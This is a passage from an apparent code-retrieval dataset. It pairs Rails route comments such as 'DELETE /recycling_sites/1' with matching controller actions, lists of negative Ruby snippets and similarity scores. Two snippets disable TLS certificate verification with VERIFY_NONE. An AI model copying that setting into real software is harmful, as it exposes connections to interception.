"def update\n @site_attribute = @site.site_attributes.find(params[:id])\n\n respond_to do |format|\n if @site_attribute.update_attributes(params[:site_attribute])\n format.html { redirect_to([@site, @site_attribute], :notice => 'SiteAttribute was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site_attribute.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n replace_entry \"word/document.xml\", doc.serialize(:save_with => 0)\n end",
"def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def update\n @installation_site = InstallationSite.find(params[:id])\n\n respond_to do |format|\n if @installation_site.update_attributes(params[:installation_site])\n format.html { redirect_to @installation_site, notice: 'Installation site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @installation_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\tconfig.root.elements['clustering'].attributes['enable']='true'\n\t\tconfig.root.elements['clustering'].elements[4].text=\"wso2.org.esb\"\n\n\t\tele1=Element.new(\"parameter\")\n\t\tele1.text = \"127.0.0.1\"\n\t\tele1.add_attribute(\"name\", \"mcastBindAddress\")\n\n\t\tele2=Element.new(\"parameter\")\n\t\tele2.text = \"127.0.0.1\"\n\t\tele2.add_attribute(\"name\", \"localMemberHost\")\n\n\t\tele3=Element.new(\"parameter\")\n\t\tele3.add_attribute(\"name\", \"domain\")\n\n\t\tconfig.root.elements.each('//parameter') {|element| \n\t\t\t\n\t\t\tif(element.attributes == ele1.attributes)\n\t\t\t\telement.parent.delete(element)\n\t\t\tend\n\n\t\t\tif(element.attributes == ele2.attributes)\n\t\t\t\telement.parent.delete(element)\n\t\t\tend\n\n\t\t\t\n\t\t}\n\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend",
"def create\n @recycling_site = RecyclingSite.new(params[:recycling_site])\n\n respond_to do |format|\n if @recycling_site.save\n flash[:notice] = 'RecyclingSite was successfully created.'\n format.html { redirect_to(@recycling_site) }\n format.xml { render :xml => @recycling_site, :status => :created, :location => @recycling_site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @recycling_site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n get_credentials\n begin\n response = resource[\"/update/#{app}\"].post(:apikey => @credentials[1], :frequency => options[:frequency])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @watch_site = WatchSite.find(params[:id])\n\n respond_to do |format|\n if @watch_site.update_attributes(params[:watch_site])\n format.html { redirect_to @watch_site, notice: 'Watch site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @watch_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update(request)\n end",
"def update(request)\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def put(url, vars={})\n send_request url, vars, 'PUT'\n end",
"def update\n # cyber-dojo.sh does actual [update]\nend",
"def update\n @crawl_request = CrawlRequest.find(params[:id])\n\n if @crawl_request.update_attributes(params[:crawl_request])\n head :no_content\n else\n render json: @crawl_request.errors, status: :unprocessable_entity\n end\n end",
"def update\n @crawl_request = CrawlRequest.find(params[:id])\n\n if @crawl_request.update_attributes(params[:crawl_request])\n head :no_content\n else\n render json: @crawl_request.errors, status: :unprocessable_entity\n end\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n flash[:notice] = 'Node was successfully updated.'\n format.html { redirect_to(@node) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @subsite = Subsite.find(params[:id])\n\n respond_to do |format|\n if @subsite.update_attributes(params[:subsite])\n format.html { redirect_to @subsite, notice: 'Subsite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subsite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n puts \"==========\"\n #puts params.require(:site).permit(:name, :url, :description)\n puts params[:url]\n puts params[:name]\n puts \"==========\"\n if @site.update(site_params)\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { render :show, status: :ok, location: @site }\n else\n format.html { render :edit }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site_setup = SiteSetup.find(params[:id])\n\n respond_to do |format|\n if @site_setup.update_attributes(params[:site_setup])\n format.html { redirect_to @site_setup, notice: 'Site setup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site_setup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.find(params[:id])\n\n respond_to do |format|\n if @site.update_attributes(params[:site])\n flash[:notice] = 'Site was successfully updated.'\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @catalogs_siteview.update(catalogs_siteview_params)\n format.html { redirect_to @catalogs_siteview, notice: 'Siteview was successfully updated.' }\n format.json { render :show, status: :ok, location: @catalogs_siteview }\n else\n format.html { render :edit }\n format.json { render json: @catalogs_siteview.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { render :show, status: :ok, location: @site }\n else\n format.html { render :edit }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { render :show, status: :ok, location: @site }\n else\n format.html { render :edit }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @site = Site.first\n @site.icon = nil if params[:delete_icon]\n @site.wordmark = nil if params[:delete_wordmark]\n\n respond_to do |format|\n if @site.update_attributes(site_params)\n format.html { redirect_to(root_url, :notice => 'Site was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to sites_path, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(site_params)\n format.html { redirect_to @site, notice: 'Site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n put :update\n end"
] |
[
"0.64140916",
"0.62248504",
"0.5954437",
"0.5658692",
"0.5638921",
"0.56213474",
"0.5614808",
"0.5606015",
"0.5606015",
"0.5606015",
"0.5606015",
"0.56044286",
"0.56044286",
"0.5520647",
"0.5518775",
"0.5504721",
"0.54927874",
"0.5482446",
"0.54736596",
"0.54487926",
"0.5443938",
"0.5426617",
"0.5370581",
"0.53699267",
"0.53599745",
"0.53346884",
"0.53341454",
"0.5328116",
"0.5321148",
"0.53132254",
"0.5311863",
"0.5310572",
"0.5309764",
"0.5308988",
"0.5303441",
"0.530275",
"0.52972883",
"0.52897483",
"0.5273147",
"0.5266384",
"0.5251285",
"0.5245401",
"0.5209939",
"0.5204451",
"0.52015597",
"0.5195248",
"0.51927364",
"0.51920956",
"0.5191893",
"0.51669115",
"0.51654553",
"0.5149078",
"0.51438195",
"0.5139798",
"0.5135352",
"0.5133233",
"0.5124198",
"0.5121268",
"0.51147705",
"0.5112951",
"0.51086754",
"0.5107928",
"0.5103573",
"0.5102672",
"0.5098803",
"0.5092527",
"0.50921565",
"0.5080903",
"0.5080233",
"0.507989",
"0.50732255",
"0.5069196",
"0.5068975",
"0.50629044",
"0.505611",
"0.50550264",
"0.5054792",
"0.50547725",
"0.50547725",
"0.50546855",
"0.5049229",
"0.50480294",
"0.50376344",
"0.5032504",
"0.5032504",
"0.50314385",
"0.5023095",
"0.50208044",
"0.5019222",
"0.5015377",
"0.501148",
"0.5007869",
"0.5006684",
"0.5006684",
"0.4999304",
"0.49984848",
"0.49923673",
"0.49923673",
"0.49907655",
"0.49860892"
] |
0.6166085
|
2
|
DELETE /recycling_sites/1 DELETE /recycling_sites/1.xml
|
def destroy
@recycling_site = RecyclingSite.find(params[:id])
@recycling_site.destroy
respond_to do |format|
format.html { redirect_to(recycling_sites_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def delete(connection)\n r = connection.execute(%(<SiteDeleteRequest session-id=\"#{connection.session_id}\" site-id=\"#{@id}\"/>))\n r.success\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Site.delete_all \"sitename = 'lost+found'\" \n super\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @selector_site = SelectorSite.find(params[:id])\n @selector_site.destroy\n\n respond_to do |format|\n format.html { redirect_to(selector_sites_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def remove\n @site = Site.find(params[:id])\n @study.sites.delete(@site)\n\n respond_to do |format|\n format.xml { head :ok }\n format.js\n end\n end",
"def delete_all(xpath); end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def destroy\n @site = Site.find(params[:id])\n \n if @site.uninstall(@site) == true \n puts \"\\n\\n\\n----------- DESTROYED -----------\\n\\n\\n\"\n puts \"SITE = #{@site.name}\"\n @site.destroy\n @site.save\n \n respond_to do |format|\n format.html { redirect_to(sites_url, :notice => \"Your site was successfully deleted.\") }\n format.xml { head :ok }\n end\n else\n redirect_to(@site, :warning => \"Remove site incomplete!. Please contact administrator.\")\n end\n end",
"def destroy\n # retrieve the site thanks to params[:id]\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def deleteSite _args\n \"deleteSite _args;\" \n end",
"def destroy\n sf = @site.site_files.find params[:id]\n sf.destroy\n\n flash[:notice] = \"#{sf.path} has been deleted.\"\n respond_to do |format|\n format.html { redirect_to(site_site_files_path(@site)) }\n format.xml { head :ok }\n end\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end",
"def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end",
"def destroy\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n @retain_node_selector.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_node_selectors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @website = Website.find(params[:id])\n @website.destroy\n\n respond_to do |format|\n format.html { redirect_to(websites_url) }\n format.xml { head :ok }\n end\n end",
"def cleanup\n\tsh 'del /F /Q .\\_site\\*'\n\t# sh 'rm -rf ./_site'\nend",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def delete!\n\t\t\tClient.delete @root\n\t\tend",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @site_attribute = @site.site_attributes.find(params[:id])\n @site_attribute.destroy\n\n respond_to do |format|\n format.html { redirect_to(site_site_attributes_url(@site)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def delete\n urlMaster = Urlmaster.find(params[:id])\n urlMaster.destroy\n\n if urlMaster\n redirect_to crawler_path\n end\n end",
"def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend",
"def destroy\n @website = Website.find(params[:id])\n @website.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_websites_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sitelink = Sitelink.find(params[:id])\n @sitelink.destroy\n\n respond_to do |format|\n format.html { redirect_to(sitelinks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end",
"def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end",
"def destroy\n @crawler = Crawler.find(params[:id])\n @crawler.destroy\n\n respond_to do |format|\n format.html { redirect_to(crawlers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #m_@site.destroy\n m_site = MSite.find(params[:id].to_i)\n m_site.del_flg = 1\n m_site.save\n\n respond_to do |format|\n format.html { redirect_to '/m_sites', notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site_banner = SiteBanner.find(params[:id])\n @site_banner.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_banners_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mush_crawler = MushCrawler.find(params[:id])\n @mush_crawler.destroy\n\n respond_to do |format|\n format.html { redirect_to(mush_crawlers_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n raise UnknownSite, \"Site not existent in Piwik yet, call 'save' first\" if new?\n xml = call('SitesManager.deleteSite', :idSite => id)\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n freeze\n result['success'] ? true : false\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def file_delete(file)\n\t\tputs \"Delete entries to the local site store from file: #{file}\" if @verbose\n\t\traise \"File non-exist. Please check your file path and name again: #{file}\" unless File.exist?(file)\n\t\tsites=file_2_list(file)\n\t\tchanges=Array.new\n\t\tchanges=bulk_delete(sites) unless sites.nil? or sites.empty?\n\trescue => ee\n\t\tputs \"Exception on method file_delete: #{ee} for file: #{file}\" if @verbose\n\tend",
"def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end",
"def destroy\n @daily_grr = DailyGrr.find(params[:id])\n @daily_grr.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_daily_grrs_url) }\n format.xml { head :ok }\n end\n end",
"def delete(slide)\n # ./_rels/presentation.xml.rels\n # Update Relationship ids\n # Insert a new one slideRef\n @doc.edit_xml @doc.presentation.rels.path do |xml|\n # Calucate the next id\n # next_id = xml.xpath('//xmlns:Relationship[@Id]').map{ |n| n['Id'] }.sort.last.succ\n # TODO - Figure out how to make this more MS idiomatic up 9->10 instead of incrementing\n # the character....\n # Insert that into the slide and crakc open the presentation.xml file\n\n target = slide.path.relative_path_from(@doc.presentation.path.dirname)\n relationship = xml.at_xpath(\"/xmlns:Relationships/xmlns:Relationship[@Type='#{Slide::REL_TYPE}' and @Target='#{target}']\")\n # ./presentation.xml\n # Update attr\n # p:notesMasterId\n # Insert attr\n # p:sldId, increment, etc.\n @doc.edit_xml '/ppt/presentation.xml' do |xml|\n xml.at_xpath(\"/p:presentation/p:sldIdLst/p:sldId[@r:id='#{relationship['Id']}']\").remove\n end\n relationship.remove\n end\n\n # Delete slide link and slideNotes link from ./[Content-Types].xml \n @doc.edit_xml @doc.content_types.path do |xml|\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Slide::CONTENT_TYPE}' and @PartName='#{slide.path}']\").remove\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Notes::CONTENT_TYPE}' and @PartName='#{slide.notes.path}']\").remove\n end\n\n # Update ./ppt\n # !!! DESTROY !!!\n # ./slides\n # Delete files\n # ./_rels/notesSlide(\\d+).xml.rels\n @doc.delete slide.notes.rels.path\n # ./notesSlide(\\d+).xml file\n @doc.delete slide.notes.path\n # ./_rels/slide(\\d+).xml.rels\n @doc.delete slide.rels.path\n # ./slide(\\d+).xml file\n @doc.delete slide.path\n # ./notesSlides\n # Delete files\n\n # Hooray! We're done! Ummm, what should we return though? can't be the slide since\n # its destroyed and there's no practical way to keep it around in memory.\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @website.destroy\n respond_to do |format|\n format.html { redirect_to(contact_info_admin_websites_url) }\n format.xml { head :ok }\n end\n add_log(user: current_user, action: \"Deleted website: #{@website.url}\")\n end",
"def destroy\n @related_content = RelatedContent.find(params[:id])\n @related_content.destroy\n dirname = \"#{RelatedContent::UPLOAD_DIR}/#{@related_content.id}\"\n FileUtils.rm_rf dirname\t\n redirect_to @related_content.node\t \n\nend",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to(sites_url) }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request_items = @request.request_items\n @request_items.each do |ri|\n ri.destroy\n end\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @regdb = Regdb.find(params[:id])\n @regdb.destroy\n\n respond_to do |format|\n format.html { redirect_to(regdbs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @visit.destroy\n\n head :no_content\n end",
